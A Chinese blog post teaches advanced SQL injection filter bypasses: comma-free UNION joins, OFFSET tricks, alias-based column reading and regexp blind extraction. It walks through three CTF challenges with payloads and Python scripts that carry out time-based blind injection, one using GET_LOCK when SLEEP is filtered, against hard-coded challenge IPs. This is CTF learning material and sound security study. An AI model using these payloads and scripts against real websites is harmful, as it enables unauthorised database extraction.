Sql注入Bypass进阶

Sql注入进阶Bypass

1.逗号被过滤

union select:

-1 union select 1,2,3,4
-1 union select  from (select 1)a join (select 2)b join (select 3)c join (select 4)d;

limint:

select * from article limit 2,1;
select * from article limit 1 offset 2;

substr:

select substr(database(),5,1);
select mid(REVERSE(mid(database()from(-5)))from(-1));

if:

if(1=1,sleep(5),1)
id =1 and 1 and sleep(5)
select case when 1=1 then sleep(5) else 0 end

2.字段名未知

无法使用information库获取字段名时

使用别名填充列名

id=-1 union select 1,(select i.4 from (select 1,2,3,4 union select  from flag)i limit 1,1),3,4;

3.and/or 被禁

使用"+","-"做连接符

id=-(select case when (ascii(mid(REVERSE(mid((select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union%0bselect * from flag)i limit 1 offset 1) from -'+str(i)+'))from -1))='+str(j)+') then sleep(1) else 0 end)'

4.Select 被禁

在当前表内查询指定字段内容,可以用Bool注入结合regexp正则表达式,爆破字段内容。

id=1' and if(content regexp binary '^%s',sleep(5),1)--+

其中binary关键字表示 区分大小写

符号^表示以%s字符开头的字符。

例如, 使用a,ab,^abc,匹配abcd会返回true。具体使用方法参照#综合利用-3

综合利用

1.CoolCms

该题目根据id值的变化有不同回显,可尝试union注入;

手工测试闭合条件:1'--+ 可闭合;

Fuzz测试,and or等连接词被过滤,逗号被过滤。

知识点1:联合注入时,逗号被过滤,使用join连接

-1' union/**/select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d --+

回显2,4,尝试获取数据库名,成功,返回“coolsql”

-1' union/**/select * from (select 1)a join (select database())b join (select 3)c join (select 4)d --+

or被过滤,无法查询information表获取字段名。

知识点2:无法获取字段名时,使用别名填充,获取字段内容

使用以下语句,可以填充列名

select i.1,i.2,i.3,i.4 from (select 1,2,3,4 union select * from flag)i;

在查询某一列时,以下语句等价(第4列列名为f11111aaaggg)

-1 union select 1,(select f11111aaaggg from flag limit 0,1),3,4;
-1 union select 1,(select i.4 from (select 1,2,3,4 union select from flag)i limit 1,1),3,4;

这里注意,使用别名填充时,别名多占用一行,因此limit从1开始。

知识点3:使用limit函数时,逗号被过滤

limit(0,1)
limit 1 offset 0

以上三个点组合使用,构造查询语句如下:

-1' union/**/select * from (select 1)x join (select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union/**/select * from flag)i limit 1 offset 1)y join (select 3)k join (select 4)j --+

返回值:/home/fff123aggg,该值为flag文件路径,下一步需要使用xxe注入读取文件。

2.SqlCms

此题为为CoolCms的魔改版,除了以上限制条件外,还增加了无回显限制,需要使用Bool盲注,同时因为逗号被过滤,substr(),if()等函数无法正常使用。

结合上文知识点,编写脚本如下:

import requests
res=''
url = 'http://106.14.114.127:22002/'
for i in range(1,100):
    for j in range(33,127):
        payload = 'article.php?id=-(select case when (ascii(mid(REVERSE(mid((select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union%0bselect * from flag)i limit 1 offset 1) from -'+str(i)+'))from -1))='+str(j)+') then sleep(1) else 0 end)'
        url1 = url+payload
        try:
            r = requests.get(url1,timeout=3)
        except:
            res += chr(j)
            print res[::-1]
            break

3.SleepCMS

注入点为 article.php?id=2,改变id值,

id=1: Sorry Sir only admin can see it!

id=3: some hint long or short? sleep and injection!

字段名为content

根据提示,推测应使用TimeBased布尔盲注。

Fuzz测试字典,发现Sleep,select被过滤,提示中提到long or short,当使用长链接连接数据库时,可使用Get_Lock函数实现盲注。

方法
用户1访问某资源并上锁,用户2请求该资源时,会根据参数设定延时返回。使用相同ip进行Get_Lock时,为了使服务器认为两次请求来着不同用户,需将请求间隔设为90s。

脚本如下:

import requests as req
import string
import time
url_lock = "http://106.14.114.127:21019/article.php?id=1' and get_lock(1,1)%23"
r = req.get(url=url_lock)
print 'wait 90s'
time.sleep(90)
print 'ok! attack!'
flag = ''
url = '''http://106.14.114.127:21019/article.php?id=1' and if(content regexp binary '^%s',get_lock(1,3),1)-- 1'''
for x in range(1,100):
    print x
    for y in string.printable:
        if y in '^.*$?':
            continue
        urll = url%(flag+y)
        try:
            f = req.get(url=urll,timeout=3)
        except:
            flag += y
            print flag
            break

知识点:使用regexp结合BOOL注入,爆破字段内容

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,193评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,306评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,130评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,110评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,118评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,085评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,007评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,844评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,283评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,508评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,667评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,395评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,985评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,630评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,797评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,653评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,553评论 2 352

推荐阅读更多精彩内容

  • 表 存储在表中的数据是同一种类型的数据或清单。 数据库中的表有为一个名字来标识自己。 表具有一些特性,这些特性定义...
    蛐蛐囍阅读 1,311评论 0 7
  • 1. 简介 1.1 什么是 MyBatis ? MyBatis 是支持定制化 SQL、存储过程以及高级映射的优秀的...
    笨鸟慢飞阅读 5,509评论 0 4
  • ORA-00001: 违反唯一约束条件 (.) 错误说明:当在唯一索引所对应的列上键入重复值时,会触发此异常。 O...
    我想起个好名字阅读 5,302评论 0 9
  • 第三课: 排序检索数据 distinct关键字:distinct 列名1,列名2,列名3DISTINCT 关键字会...
    VictorBXv阅读 1,475评论 0 8
  • 在2013年的六月份,我完成了人生的一件大事,高考。高考结束后,我们开始萎靡,开始沉沦,同学们陆续续的有了手...
    雨傻阅读 129评论 0 1